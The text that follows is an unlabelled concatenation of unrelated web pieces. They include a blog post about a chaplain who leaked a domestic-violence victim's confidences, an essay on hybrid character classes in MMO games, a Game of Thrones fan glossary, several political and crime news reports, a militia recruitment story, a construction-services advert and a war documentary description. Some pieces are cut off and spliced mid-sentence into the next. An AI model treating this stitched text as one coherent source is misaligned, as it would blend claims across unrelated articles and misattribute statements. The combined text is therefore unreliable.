Since most of our lives (even those of Christians) are generally not tinged with religion all over the place, that leaves an absolutely huge range of activities that Christian charlatans can rush into to Jesus-fy. I’m sure most of us can think of many of them, but let me just say I was surprised to discover that weight loss counseling got invaded quite some time ago. And so, apparently, has the field of habit formation.
It’s just astonishing to me, but it shouldn’t be. Even in my days as a fundamentalist, the trends were there to see.
*****
Postscript.
Right before fleeing Biff, I did go see the chaplain he’d recommended just to see what it was about. The chaplain was helping in a daycare that morning, but he had asked me to come by there for some reason.
We sat down in a small office and chatted. He considered himself a minister and pastor and took his “burden” very seriously, I could tell by how he acted and talked. I ensured before we talked that he would not be disclosing my information to anybody. That done, I made clear I was leaving under threat of physical violence, fleeing while Biff was away for a few days on lockup for thus threatening me. The chaplain tried to persuade me to stay because Biff wanted to “try again” and had persuaded this chaplain that he “really loved” me. I was just horrified–aghast even–that he’d even suggest such an obviously terrible idea. This was my first brush with Christianists who don’t take domestic violence seriously and who side with abusers over victims of domestic violence, but not my last.
I disagreed with his suggestion that I put myself in potential mortal danger to save a marriage that was in my opinion completely destroyed, and left. But before I did so, I let slip a few details that weren’t true. I knew that if he and Biff were in cahoots, that this would decidedly be stuff he’d want to tell my then-husband.
A real therapist would not be able to disclose those things. But a chaplain, contrary to Biff’s insistence, was under no such restriction. I knew that.
And later on, during his stalking of me, Biff revealed that why yes, this chaplain had told him everything we’d talked about, even the untrue things. Either he or Biff had even embellished those details to sound even more shocking.
No mention was made of lawsuits–even from a man who was always happy to contemplate legal action if it’d make him some cash.
I felt violated beyond all comparison by this disclosure. That chaplain had told the monster who was stalking me, a monster who he knew had physically threatened to harm me, intimate details of my life that I had told him in privacy. The only plus side to this violation was that most of the damning stuff Biff was accusing me of wasn’t actually true, which you must admit in retrospect is kind of funny. But there are many other people who entrust their lives to chaplains and ministers and then discover their personal business plastered all over the church grapevine–and they don’t have even that comfort to fall back upon. If you think I’m the only person whose privacy was invaded in this way by a TRUE CHRISTIAN™, by a GODLY CHRISTIAN MAN™, by a holy and anointed minister of the Lawd, think again.
Even ministers who really mean well can find themselves in over their heads with counseling tasks; many seminaries now have courses in the matter, but you and I both know that it won’t be the equal of a full credentialed degree in counseling. And damage can easily be done by well-meaning people if they are surrounded by gossips or don’t know how to secure their computers or notes, or even if they just don’t know how to counsel people who are in serious crisis.
So I hope y’all will pardon me if I absolutely flat refuse to trust any of my personal information or entrust my psyche to people who aren’t qualified to handle either. And I wish more Christians would seriously think about their reliance on amateurs and charlatans to help them in times of emotional need.
Nobody needs another quack like Joyce Meyer warbling and chirping her favorite Jesus jukes. She knows less about teaching people how to develop good habits than Mayor Rob Ford does. Her books are worse than pop-psychology; they could do some lasting harm if people think they’re seriously all you need to build good habits. At least pop-psych books are usually written by people with some kind of credentialing; all she has is some unspecified degree from some totally lackluster Bible college somewhere (and though it’s hard to find out just what subject this degree involves, if you hunt around you’ll find that it’s in theology–which I guess makes her extra-dextra more qualified to counsel anybody, at least in her head). Hers are just wishful thinking draped in Jesus.
What she provides people–especially women–is warm fuzzies. And she’s very good at it. She provides this gauzy, hazy vision of sufficiency in Jesus, this idea that if you just want something very much and read the Bible and pray a lot, you’ll totally get it because Daddy Jesus wuvs you.
People who genuinely need to learn to build good habits would be very well served by seeking out teachers who actually have qualifications to teach this difficult idea, and maybe not Jesus-fying everything they do just because it feels more Christian-y to do so.
We’re going to talk about spiritual warfare next, since I got rolling on the topic of demons and have some things to talk about there. Here’s an angel to keep you tided over:
(* Edit: Whoops, Prince Geoffrey said that to Eleanor, who was played by Katherine Hepburn. I knew who I meant at least.)Hybrids and the economics of specialization
Massively multiplayer online games (MMOs) typically have multiple classes of characters, some of which are specialized for a single role, and some of which are hybrids which can serve in multiple roles. These hybrid characters are a common failure point for MMO design, often ending up much weaker or much more powerful than more specialized characters.
Fortunately, there are some basic economic models of behavior that can be used to understand the design pressures that can distort the role of hybrids in MMOs. By having a clear concept of why these pressures occur and what conditions enable these pressures, we can systematically create conditions which promote both hybrid and specialist classes simultaneously, creating complex and fun gameplay for our players.
What's a hybrid?
In classic role playing game (RPG) design, there are commonly three primary character archetypes: tank, DPS ("Damage Per Second"), and healer. These archetypes have their roots in old-school pen and paper RPGs like Dungeons & Dragons, and were carried forward into early single player RPGs like Ultima and then into MMOs.
The three primary archetypes are:
Tank - a character specialized for survivability in the face of attack
DPS - a character specialized for doing damage to enemies
Healer - a character specialized for healing and supporting their teammates
In the standard model of RPG combat, the tank holds the dragon's attention and takes the brunt of the dragon's damage, while the healer keeps the tank alive and the DPS kills the dragon. Each player is performing a single role using a character specialized for that role. For example, tanks generally do little damage themselves, but maximize their ability to withstand damage for others.
In the nomenclature of MMOs, a "hybrid" is a character that bridges two or even three of these areas. In MMOs set in fantasy worlds, a tank is commonly embodied as an armored medieval knight while a healer takes the form of a priest or cleric. If we create a hybrid between a tank (knight) and a healer (priest), we get a paladin who can wear heavy armor and cast healing spells.
Why are hybrids difficult to design?
At the heart of the hybrid problem is the fact that if a hybrid can perform a given role as well as a specialist while also having other abilities the specialist can never have, playing a specialist becomes pointless.
To put it in terms of our earlier example, if a paladin can tank as well as a knight but can also heal, then there is never a reason to play a knight instead of a paladin. If the hybrid has all of the advantages of its parents plus extras, then the parent class is doomed to extinction.
Conversely, if a hybrid is always inferior to a specialist in any given role, then it's always better to have a specialist fill that role. As game designers, we want to create a vibrant ecology of classes, where players have a wide variety of classes and playstyles available to them.
The standard solution to this problem can be summed up in the phrase "Jack of all trades, master of none". Hybrids are generally made less effective in each area than their parent classes, with the intent that they make up the deficiency with their abilities from other areas. The paladin mentioned above might not be able to survive as much damage as a knight, but they can heal other players and help them survive, something a knight could never do.
Historically, MMOs have had a great deal of difficulty designing hybrids that are powerful and valuable without completely displacing their parent classes. The catchphrase for these overly successful hybrids is "tank-mage". This term comes from the early days of one of the first MMOs, Ultima Online, where some characters could both wear heavy armor and cast powerful damaging spells. A tank-mage could both take and deal a lot of damage, creating a character that was superior to any other type of character in most situations.
Since Ultima Online, other MMOs have tried to avoid this problem, but players inevitably gravitate towards the latest incarnation of the tank-mage whenever possible. This is not a sign that the players are cheating or deliberately trying to abuse the system, it's just the natural result of players trying to find the golden path and "win" the game. A character who can take more damage is better and a character who can dish out more damage is better -- therefore a character that can do both is ideal.
For example, in City of Heroes the Fire/Fire Tanker emerged as an early tank-mage contender because of its high damage resistance and ability to deal lots of damage to multiple enemies at one time.
The discovery/creation of these tank-mages by players is the product of the incredible ingenuity of MMO players and the complex emergent properties of the game systems, rather than any particular failure on the part of the design teams, and they are mostly adjusted or "nerfed" as they become apparent. However, nerfs generate turbulence in the player community, and it is always better to prevent these sorts of issues from arising in the first place.
The hybrid issue is exacerbated by the fact that MMOs are both solo and group games. If people only played MMOs in groups, a character able to soak a lot of damage but deal no damage would be viable because the other people in the group could deal damage for them. The individual character could be one dimensional (a pure tank) because the other group members fill out the other two parts of the trinity (DPS and healing).
However, studies have shown that even in group-focused games, players spend a lot of their playing time doing things on their own. Even if a character is the best healer in the world, if they can't take or dish out at least some damage they won't be able to operate outside of a group. Soloing requires that the character be able to deal damage, plus the ability to absorb, avoid, or heal the damage taken.
Therefore, once the design decision has been made that every character should be able to solo -- a decision that has been made practically mandatory by the successful example of World of Warcraft -- it automatically follows that every character must be a hybrid and therefore subject to the paradoxes of hybrid design. This is a universal problem, not just one that affects certain classes within a game.Updated through Season 7, and co-written by Julia and Kylie.
See also the Season 6 and Season 5 glossaries.
Here at The Fandomentals, we are rather staunch Game of Thrones (GoT)…er…detractors. We know this might come as a shock.
However, this isn’t because we’re disinterested in the genre or have forgotten our inner child. That’s pretty much all we remember. We also are not the types of people who object to the depiction of upsetting material on principle, because there’s times that such things can be done well and have a valuable takeaway for the reader/watcher. Case in point, we are huge, huge fans of A Song of Ice and Fire (aSoIaF), the books this show is supposedly “based on.”
Sadly for us, the showrunners David Benioff and Dan Weiss (D&D) seem to be bigger fans of their own, Bold™ ideas than the ones George R.R. Martin put on paper, to the point where we came to realize how the show has absolutely nothing to do with the books, so #StopTheConflation.
There’s many ways you can join in on this totally official campaign, such as yelling incoherently at social gatherings when GoT inevitably comes up, or wearing a t-shirt with the text of Septon Meribald’s “broken man speech” printed on the front in size 6 font (or try this one on for size). But we have another way to set the right tone for fandom dialogue—that is, a tone where aSoIaF could absolutely never be confused with its farblunget adaptation—and that’s by creating a new system of terms and character names.
“Jaime Lannister isn’t on the show,” you’ll tell your third cousins at your grandmother’s birthday party. “Jaime Lannister is a nuanced character whose plotline revolves around his struggle with identity and conception of internal vs. external honor as he adjusts to his new disability while subsequently realizing just how damaging his relationship with his sister has been.” (You speak very fast, of course.) “It’s Larry Lannister who’s on the show: the charmingly befuddled knight who doesn’t blink twice at the demolition of an entire religious organization, but a simple lie to a political enemy is just too far!”
See? It’s fool-proof. Or at least it will prevent us from crying onto our copies of A Dance with Dragons as we’re forced to call that creature Indira Varma played, “Ellaria Sand.” So without further ado, Julia and Kylie give you the Book Snob Glossary and all the ironic trademarks money can buy.
General Terms
D&D Logic: There are just so many twists and turns in GoT. And don’t forget the shocks! However, where many a viewer may spend time actually, you know, trying to “figure everything out,” we’re here to explain to you that D&D Logic doesn’t exactly conform to Earth Logic. Suggest a truce to your political adversaries when they pose no threat to you and you have nothing to offer them! Appease your murderous sister with judicial murder! Command your army of the dead to forge giants chains! All D&D Logic requires is the opening thought, “wouldn’t it be cool if…” It’s best just to embrace this.
Dramatic Satisfaction: Dramatic Satisfaction is the feeling we get when we look to the west watch GoT. Our spirits are certainly crying. D&D and their writers Bryan Cogman and Dave Hill work overtime to make sure of it, and boy do they know what the audience loves: gothic horrors! And memes. Thanks!
Plausible Impossibilities: It’s what you, as a storyteller, try to achieve once you realize that you are working on a show that’s doing pretty well, so therefore there’s no incentive to actually put effort into it. People only hate it because they care, and it’s totally better than the horrid impossible plausibilities.
The Off-Screen Zone: A magical plane of existence where everything necessary to drive the plot and/or character development occurs. We promise you it happened, it totally made sense for it to happen, and we don’t understand why you have to be spoon fed everything and insist on seeing it. The Off-Screen Zone is where Sansa, Bran, and Arya bonded and plotted together, and where Deadpan and Jonny fell in love. Cheryl and Eur-off also hang out here a lot as they lay their intense political strategy.
Honeypotting/The Honeypot Phenomenon: As we noted, D&D Logic doesn’t adhere to normal logic, and the Off-Screen Zone is a happening place. That can make watching the show itself quite confusing. Luckily for D&D, their fans are far more intelligent and creative than they are, and willing to think up well thought-out theories in an attempt to make sense of everything. In other words…they’re doing the writers’ jobs.
The most famous example of this, and the titular example for that reason, was that of the “Lannister Honeypot Theory,” where everyone figured that Talisa was such a stupid invention on the part of D&D that there had to be more to her than met the eye. Once she began writing letters in Volantine to her mommy, the theory was that she was really a Lannister spy sent to seduce Robb into breaking his vows; a honeypot trap set by Tywin to enable the Red Wedding to occur.
But no. Like Talisa, the Lannister Honeypot Theory was stabbed repeatedly in 03×09. She was exactly what she appeared: a noblewoman from Volantis who was such an awesome feminist that she would walk around battlefields without a chaperone, sass-talking a king.
It may be tempting to honeypot things along the way such as, “Sansa and Arya are totally playing Littlefinger with this animosity.” Nope. Arya wanted to cut her face off and wear it. “It would make way more sense if a week had passed North of the Wall for the raven to fly to Dragonstone.” Yes, it would makes more sense. And yet it was totally just one night. Would that we had honeypotters actually writing the scripts instead, because then we’d probably have a coherent show.
Weisseroff’s Razor: Weisseroff’s razor is how we know that honeypots are never accurate — they’re far too clever by a half. On GoT, it’s always the most idiotic and straight-forward answer possible. Trust us. Weisseroff’s Razor demands it.
Reverse Honeypotting: Honeypots can sort of be thought of as very intelligent stories or plot-points that D&D didn’t tell. However, a reverse honeypot is when there’s a story that is told, usually due to Unfortunate Implications, that D&D had no effing clue was on our screens (else maybe some of these implications would have actually had follow-ups). Our favorite example of a Reverse Honeypot is the noble tale of Hizdahr zo Sansa (may he rest in peace), and his completely awesome, Sansa-in-A Clash of Kings-esque, resistance narrative. Our least favorite example of a Reverse Honeypot is where Tommen was a rape victim of Margaery Tyrell, and his suicide was |
more poorly by police, but this is the first analysis of body-worn camera data that I'm aware of," he said. "It contributes a lot to our understanding of racial disparities in police-civilian encounters."
Glaser added that interactions in which a community member might feel disrespected not only can be stressful but can lead to behavioral and health effects and even acute trauma for that community member.
John Dovidio, a professor at the Yale School of Public Health, agreed.
'How can you change the training?'
"If any of us feel that we've been disrespected in the situation, it's psychologically wounding to us," said Dovidio, who was also not involved in the new study.
He added, however, that respect appears to be a particularly deep-rooted need for communities that historically have been disadvantaged.
JUST WATCHED Policing different in black communities? Replay More Videos... MUST WATCH Policing different in black communities? 21:04
"If you bring a majority and a minority group member together, a white and a black person, in those interactions, the basic needs and goals of the white and black person are very different," Dovidio said.
"The white person in these intergroup interactions tends to want to be liked. They want to be sort of affirmed as being a good person," he said. "But people of color, and this occurs for other historically disadvantaged groups, their major goal is to be respected.... Everybody wants respect, but minority group members in interracial interactions with authority figures have a particularly heightened need to feel respected in those interactions, and that's why respect is such a key variable."
The first step to improving everyday interactions between police and the communities they serve is awareness, which the new study provides, Dovidio said.
"What this does is, makes it real, makes it tangible, makes it objective," he said. "It can then be used not to blame people... but what it can be used for is a tool for teaching people how to not do something that they may be doing unintentionally."
In other words, police and other people of authority tend to unconsciously or implicitly display this disrespect through language, Dovidio said.
Join the conversation See the latest news and share your comments with CNN Health on Facebook and Twitter.
"The outcome of this disrespect is actually, it's a lose-lose situation, because law-abiding people in a community don't want crime. Police don't want crime. But the actions of the police officers undermine the trust and connection of them with the community," Dovidio said.
"Rather than blame police officers, I think the question is, how can you change the training and the experiences that police officers have?" he said. "I would hope that this article is not interpreted as a way of saying police officers are bad, but rather, here's some ideas of how police training can be improved and police practice can be improved to get the trust of the community, to create a relationship that's healthy and cooperative."Rep. Steve King has called on President Donald Trump to "purge leftists" from the government's executive branch before they "sink us," following a similar call from the Conservative Review.
King's Twitter post, which has been re-tweeted more than 500 times, linked to a Conservative Review article by Daniel Horowitz in supporting an overhaul of those who work closest to the Trump administration.
@RealDonaldTrump needs to purge Leftists from executive branch before disloyal, illegal & treasonist acts sink us. https://t.co/o1DYtgA7aL — Steve King (@SteveKingIA) March 6, 2017
Last month, King called for an investigation of the federal government's intelligence community to find out who was leaking negative information about the Trump campaign and alleged links to Russian officials during the 2016 campaigns, noted CNN.
"We have to find the people that are working against this administration and they need to be purged from this community," said King, one of Trump's most vocal supporters.
"We need to find out who the leaking moles are who are violating federal law because we can't function from a national security standpoint if we have that spillage coming out of the community."
In the Conservative Review, Horowitz said voters would expect Trump's "notorious brand of firing ineffective or duplicitous staff" in getting rid of officials who are not supportive of his agenda. He suggested that the president use his chief of staff Reince Priebus as the point person.
"(Priebus) must instruct every department head who should then direct every agency head to call for the resignation of any political appointees and special counsels who do not share the views of the president," said Horowitz.
"Any open borders official within (Department of Justice) and (Department of Homeland Security) should be gone. Any pro-government-run health care supporter within (Health and Human Services) has to go. Any official within Treasury who is not on board with the (Office of Management and Budget) spending cuts and pro-growth tax cuts should go out and campaign for their cause … on the outside."
He also called State Department officials to leave if they are "a shill for refugee resettlement, a Palestinian State, the Muslim Brotherhood, or who opposes the president's immigration moratorium …"
Trump told "Fox & Friends" last month that he believed President Barack Obama and his loyalist still working in the government are behind leaks to the news media that has led to controversy in his administration.
"I think that President Obama's behind it because his people are certainly behind it," Trump told the cable morning show. "And some of the leaks possibly come from that group, you know, some of the leaks – which are very serious leaks, because they're very bad in terms of national security."Kevin Jennings, President Obama's Assistant Deputy Secretary of the Office of Safe and Drug FreeSchools at the U.S. Department of Education, is in hot water this week for having failed to report that a 15-year-old sophomore student in his school had told him of having sex with an older man.
But failure to report what appeared to be a case of statuatory rape of a child may be the least of Jennings' worries. Lori Roman of Regular Folks United points to statements by Jennings a decade or more ago when he praised Harry Hay of the North American Association for Man-Boy Love Association (NAMBLA), which promotes the legalization of sexual abuse of young boys by older men.
Roman provides damning details and links here. She also notes that Jennings wrote the forward "to a book called Queering Elementary Education. And another fellow you may have heard of wrote one of the endorsements on the book jacket—Bill Ayers." Ayers, of course, is the Weather Underground bomber from the 1960s who is just an "acquaintance" of Obama.
Every presidential administration ends up with scandals inspired by controversial appointees, but typically those tend to revolve around financial improprieties, conflicts of interest, or some other form of white-collar misconduct. For Obama, the scandals seem to be develping in a pattern of disclosures revolving around radical left ideology that raises questions about their fitness for any job in government.
And that in turn raises the inevitable question: Is nobody minding the White House personnel store?
UPDATE: Who was Harry Hay?
Folks at Media Matters are agitated by the above post and others pointing out Jennings' praise of Harry Hay and the latter's link to NAMBLA. Hay was not an employee or official of NAMBLA, but was during his later years, according to his entry on Wikipedia, a frequent defender of the group, including this 1983 statement: "[I]f the parents and friends of gays are truly friends of gays, they would know from their gay kids that the relationship with an older man is precisely what thirteen-, fourteen-, and fifteen-year-old kids need more than anything else in the world."
MM has a point - Jennings praise of Hay was not specifically in the context of the latter's support of NAMBLA. Readers will decide for themselves whether it is appropriate for an individual who publicly praised an advocate of pedophilia to be appointed Assistant Deputy Secretary of Education for Safe and Drug-Free Schools.Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.
July 8, 2016, 9:13 PM GMT / Updated July 8, 2016, 9:13 PM GMT By Andrew Rafferty
Hillary Clinton on Friday told NBC News’ Lester Holt that the country needs to do more to address “implicit bias” and said she will take a look at her own campaign rhetoric following a string of high-profile shootings this week.
In an interview on MSNBC, Clinton said Americans “have to be honest, all of us, in facing implicit bias that all of us, unfortunately, may still have.”
She called for a national conversation on race, as well as criminal justice reform, national guidelines for police use of force, and support for law enforcement personnel across the country.
Those were also themes she echoed in a speech to a conference of the African Methodist Episcopal Church in Philadelphia. “White Americans need to do a better job of listening when African Americans talk about the seen and unseen barriers you face every day… Let’s put ourselves in the shoes of police officers, kissing their kids and spouses goodbye every day and heading off to do a dangerous job we need them to do,” she said.
Five police officers were killed and seven more injured in Dallas Thursday night at a peaceful protest following back-to-back police shootings of black men.
“We are unfortunately in the grip of some very divisive and hateful rhetoric,” Clinton said.
The shootings came in the wake of a particularly nasty presidential race between Clinton and presumptive Republican presidential nominee Donald Trump. She pledged to revisit the language she has used throughout the campaign.
“We have tried to stay away from name calling, but I will certainly take a hard look about what more we can do,” she said.
On a separate note, Clinton also defended her use of a personal email address while secretary of state, saying FBI Director James Comey’s testimony on Capitol Hill Thursday helped show she did not knowingly send or receive classified emails.Red Dead Redemption wowed once more when an updated version was made backwards compatible on Xbox One. Prior to its release a few months ago, rumors alleged Rockstar is ready to announce a sequel (possible prequel). Now more fuel has been thrown onto the fire of speculation. A report from South Korean site Game Focus (via Just Push Start), states a remastered Red Dead Redemption is imminent.
If true, the remaster will launch on PS4, PC and Xbox One. This comes from Game Focus’ claim that the game is currently being localized in Asia for a 2017 launch. But that isn’t all.
The kicker is this alleged release will be announced at PlayStation’s September 7 event in New York. Very little is known about what the company has planned. However, recent leaks of the PS4 Slim give us some idea. There’s also the possibility they’ll officially announce the PS4 Neo.
What’s especially interesting about RDR’s rumored appearance at the event is many thought an RDR reveal was scheduled for Sony’s E3 conference. Their show closed with an extended demo of Sony Bend’s newly announced Days Gone. An odd spot to leave the show on when it opened with God of War and Spider-Man PS4 was the penultimate reveal. Surely, one of those would have served well to conclude. However, many news outlets speculate this wasn’t the initial plan; the Days Gone demo may have been a last-minute addition. What did it replace? Reportedly, news on Red Dead’s follow-up. Of course, none of this is substantiated, and PlayStation execs assert nothing was changed.
It’s also worth noting Rockstar doesn’t typically appear at shows. They reveal things on their own time, at their own pace. The last time the open-world giant took the stage was at Sony’s E3 conference in 2009 to announce the PlayStation exclusive and forever-elusive Agent.
We’ll know more for sure on September 7.
Image: Take-Two Interactive
Posted By Brianna Reeves Brianna Reeves is an editor at GeekFeed. She has written for Geeks of Color, and has worked as an editor for numerous publications. Brianna Reeves is an editor at GeekFeed. She has written for Geeks of Color, and has worked as an editor for numerous publications.
You might also likeTHE militia group a Brisbane man claims to have joined in their fight against ISIS has started an online recruitment drive.
Kurdish-aligned outfit the Lions of Rojava have appealed for a range of people, “not just fighters”, to join their cause against ISIS combatants in the war-torn Middle East.
“We need specialists like architects, doctors, engineers, technology specialists, media and translators,” they write on the group’s official website.
“We need street artists, musicians and cultural people. If you want to come stay here, please reach out to us with what you can offer. We also need revolutionary people who understand what is happening here.”
It is the same group former Brisbane man Ashley Dyball joined earlier this year after he slipped into the Middle East while on a trip through Europe. He has since posted on Facebook that he is on a break from “the frontline” in Sweden, a popular destination for Kurdish asylum seekers.
media_camera Ashley Dyball and Reece Harding. Reece reportedly died in a bomb blast.
Gold Coast man Reece Harding was also with the group when they announced he had been killed in a bomb blast.
The mishmash outfit of international vigilantes writes that successful applicants to their cause will spend up to “months” learning about sociological concepts before engaging in other activities.
“That means understanding what Rojava is about, learning to speak the language and how the society works.
“This is a revolution, not a Facebook event.”
media_camera Ashley Johnston was reportedly killed while fighting with The Lions of Rojava.
Australian man Ashley Johnston was said to have also been fighting with the group when they announced he had been killed in gunfire earlier this year. The group referred to him as Heval Bagok, which was the same name they bestowed upon Mr Harding because of his similar appearance to Mr Johnston.
The Lions of Rojava encourage applicants to “fully study the information”
“Understand that we cannot pay volunteers, as all resources go towards the war effort,” the group writes.
It is illegal under Commonwealth laws for Australians to enter the combat zone without sanction from the Federal Government.
However, former Northern Territory Labor president Matthew Gardiner was said to have joined to the group but has since arrived back into Australia without charge.
Originally published as Militia calls for musicians, doctorsBeing a contractor, constructing a new building might sound very interesting but handling these big projects are such a brainer task. For leading a systematic process, constructability review checklist has to be made so as to ensure that the new building would be construct, design and perform according the owner’s requirement. If you start building these huge projects without any planning, then they will not only bother you costly blunders but also affect your market image as well.
Basically, remodeling or reconstruction of the home or office is not a difficult task itself but to find a reputed and professional contractor is a daunting task. Usually, the industry professionals are hired so as to avoid the costly mistakes and to get the delivery of the services on time, but there are still many contractors are exist in the industry who just geared up their projects without any strong planning, and at the end of time delivers you a bunch of errors and disparities. PC Associates are one of the industry experts who delivers you constructability review checklist for identifying the major errors and faults between the designing plans of contractor and owner.
PC Associate basically utilize the expert system named as Remedy Check for detecting the valuable errors and allow the builders to build your building without any construction problem and meet the specifications of the owner. These plan checkers are helpful enough at the various stages of the construction specially at the Preview, Overview and Review phase.
Their quality control checker relies on the long tail checklist right from all drawings to field experienced staff, to point out the cost affected flaws in the process. Basically the analyzing process has been divided into 3 stages:-
Preview:- This is the most initial stage where the building plan can be get altered in an easiest way like including life safety, relocating existing and access points of the building, etc,.
Overview:- It covers 50 to 60 % phase of the construction documents, which is basically locate the major constructions and coordination issues.A lodger stabbed a mother-of-three and her partner to death when a row broke out about the temperature of the shower, a court has heard.
Mechanic Foster Christian, 54, allegedly launched a frenzied attack on Natasha Sadler-Ellis and Simon Gorecki at the home they shared in Canterbury, Kent.
The row is said to have broken out when Christian turned on a kitchen tap while Mr Gorecki was showering, triggering a sharp change in temperature.
When Mr Gorecki told him to turn it off, Christian allegedly told him: 'F*** off you mug'.
About 40 minutes later, Christian is alleged to have launched his stabbing spree, knifing Mr Gorecki five times - including four times in the back - as well as 40-year-old Ms Sadler-Ellis.
Foster Christian (left), 54, is on trial accused of the double murder of a mother-of-three and her partner in Canterbury, Kent
Christian is also accused of stabbing Ms Sadler-Ellis's 20-year-old son Connaugh Harris, who later tried to save his mother as she lay dying on the floor.
The defendant is also accused of seriously injuring a 16-year-old boy, who cannot be named for legal reasons. He denies two counts of murder and two charges of wounding with intent.
Today, during the opening of the trial at Maidstone Crown Court, the court was told how the trio were at the property at around 7pm in March this year.
Prosecutor Philip Bennetts QC said that, when Mr Gorecki - a former fishmonger- complained about the tap being turned on, Christian retaliated angrily.
He said: 'He used a tap which caused the temperature of the water in the shower to change. Simon shouted at Mr Christian who told him to "F*** off you mug".'
The pair then began arguing with one another. The court was told how Mr Harris was on the phone to his mother at the time and rushed to the address, along with the teenage boy, to 'diffuse the situation'.
When he arrived, Mr Harris found Christian, Mr Gorecki and Ms Sadler-Ellis having a row upstairs.
The jury heard how Mr Harris tried to calm the situation but that Christian and Ms Sadler-Ellis soon began shoving one another.
When Mr Harris tried to intervene, Christian struck him, the court was told.
The teenage boy then retaliated by punching Christian, but the alleged killer brought out a knife wrapped in a plastic bag, the court heard. Christian then allegedly began his attack, stabbing his two alleged victims to death.
Mr Bennetts said: 'They didn't know that Foster Christian was in fact using a knife at that stage.
'The knife was held in a bag and you may at some stage when you consider the evidence wonder about that and why there was a bag about the knife.'
Natasha Sadler, 40 (left), and her partner Simon Gorecki, 47, (right) were found stabbed to death
Ms Sadler-Ellis, who was 5ft 6in, suffered four stab wounds to her body.
As well as the fatal wound to her heart, she was stabbed just above her left eyebrow, with the knife plunging down internally to her lower jaw, the court was told.
Mr Gorecki, 48, died as a result of one of his stab wounds penetrating his right lung, the court was told.
The jury heard how, after the alleged attacks, Christian called police and said the knife was his.
But he then changed his account to 'their knife', claiming he had grabbed it from them and they had taken it back.
Asked by the operator if he was okay, Christian calmly replied: 'No, I'm not, thanks.
'They hit me with a beer can. I don't know what else with. They were hitting me with beer cans and bottles so I just grabbed a knife from my rack.
'They were still doing it, just beating me and beating me and beating me. And they are still here.'
The court heard how police arrived at the house at around 7.40pm to find the teenager lying at the top of the driveway, Ms Sadler-Ellis on the kitchen threshold and Mr Gorecki on the kitchen floor.
Christian is also accused of stabbing Ms Sadler Ellis's 20-year-old son Connaugh Harris (left and right) - a serving soldier - who was left in a critical condition in hospital following the alleged attack
Mr Harris had been giving the teenager first aid on the driveway after trying to help his mother and carrying out CPR on Mr Gorecki.
The court heard how the teenager asked Mr Harris if he would die as he put him in the recovery position.
He said he initially thought he had been punched in the stomach during the violence but then saw his 'guts were hanging out'.
In an interview played to the court, the youngster told police: 'I looked at Connaugh and said "I have been stabbed".
'He said "It's alright mate". I was like "oh God" and I just remember this huge pain and I was like "Am I going to die?" and he said "No mate, no" and he lay me down on the wall just outside the house.'
The teenager also told the court that during the heated row Ms Sadler-Ellis accused Christian of 'creeping' on her at her home.
The boy said she told Christian she was'sick of him coming past her house staring through her window'.
He also said Mr Gorecki told Christian: 'I'm going to run through you' but that it was not a threat to stab him.
As the 16-year-old boy was cross-examined over a TV link, he broke down in tears as he told the court: 'Unless you have been in that situation... I was doing what I thought was right.'
He said the whole incident happened in about 10 seconds and although he never saw a knife, Christian made'stabbing motions'.
In an exchange with Christian's defence counsel, Rajiv Menon QC, the teenager strongly denied the barrister's suggestion that 'all hell broke loose' and they attacked Christian, with Mr Gorecki 'rushing forward' armed with a knife and shouting 'You black b*****d'.
Having laughed in apparent disbelief at the defence suggestions that the group were armed and had attacked Christian 'four against one', Mr Menon asked if the boy thought it was funny.
He replied: 'I find it funny how you can defend this. But I told you I punched him once, a 16-year-old, punching him because I was defending Natasha.'
Told by Mr Menon that the violence resulted from them not leaving the house and going back upstairs, the teenage boy said: 'It happened because he was shouting abuse and bullying everyone. Of course we could have not gone upstairs and not confronted him but that's happened.'
The teenager was left with a wound to his right forearm, a superficial injury to his right thigh, a cut to his abdomen, a 3cm whole in his large bowel and a large bleed to the iliac vein, which returns blood from the leg to the heart.
After surgery at the William Harvey Hospital in Ashford, he was transferred to intensive care.
The court was told how a police officer saw Christian, who was bleeding from a cut above his right eye and speaking on his phone and she shouted at him to go back upstairs.
The alleged murderer sat on the stairs and said he did not have a knife when asked by another officer.
He said: 'They attacked me with a knife. I got it off them and fought back. They were hitting me and attacking me. They took the knife back.'
The court was told how Ms Sadler-Ellis's blood had stained the upstairs floor around the threshold of Christian's bedroom, believed to be from the wound on her left eyebrow which poured out as she stood at the top of the stairs.
Mr Bennetts said: 'One explanation for the blood distribution around the top of the stairs is that she stood or knelt on one of the upper steps facing up the stairs while blood pumped from the wound on her left eyebrow.'
The jury was told that no alcohol had been found in Christian's blood but both the alleged victims had been drinking.
Naomi Toro, 36, had arrived at the house and was seen by a police officer leaving with the knife used to inflict the injuries.
When arrested on March 30 she took officers to where she had thrown the weapon into the River Stour from a bridge.
Mr Bennetts added: 'There is no dispute that Foster Christian killed Simon Gorecki and Natasha Sadler-Ellis.
'The defence served on the prosecution and the court a defence statement.
'In short it is asserted that Foster Christian was acting in reasonable lawful self-defence. The prosecution case is what he did was not reasonable.
'At the very least stabbing with a knife demonstrates as intention to cause really serious bodily harm.'Gwynne Dyer’s War is a seven part miniseries, released in 1983, that explores the evolution of war from the bronze age to the Napoleonic era, from the World Wars to the nuclear age. The film has a broad scope, funded by The National Film Board of Canada, it was shot in ten countries, features six national armies, and contains interviews with many veterans and military specialists, including the infamous Bomber Harris.
Dyer himself has a strong military background: he served in the Canadian, American and British navies as a reserve officer; taught military affairs at the Canadian Forces College in Toronto; and for four years was a senior lecturer in war studies at Sandhurst, Britain’s Royal Military Academy. One suspects that, at least at one time, Dyer must have been relatively enthusiastic about the military, but through his understanding of the consequences of a war between great powers has become anti-war, recognising that such a confontation would inevitably escalate to nuclear war, threatening all life on the planet.
The premier episode defines the milestones along the road to total war: the birth of nationalism, conscription, the mobilization of large armies; the invention of the machine gun, tank and atomic bomb; and the deliberate killing of civilians. Paintings and visual material from archives around the world complement interviews and Mr. Dyer’s commentary, which sums up modern warfare, from Napoleon to Nagasaki.
The series was broadcast in 45 countries and the episode The Profession of Arms was nominated for an Academy Award.
The Road to Total War
part 2 | part 3 | part 4 | part 5 | part 6
On-camera host Gwynne Dyer analyzes two centuries of world military history and defines the milestones along the road to total war: the birth of nationalism, conscription, the mobilization of large armies, the invention of the machine gun, tank and atomic bomb, and the deliberate killing of civilians. From Napoleon to Nagasaki, The Road to Total War charts how the social, economic and technological developments of the last two hundred years have made warfare so efficient that it can now destroy us all. Part one of the seven-part series War, hosted by Gwynne Dyer, examining the nature, evolution and consequences of modern warfare.
Anybody’s Son Will Do
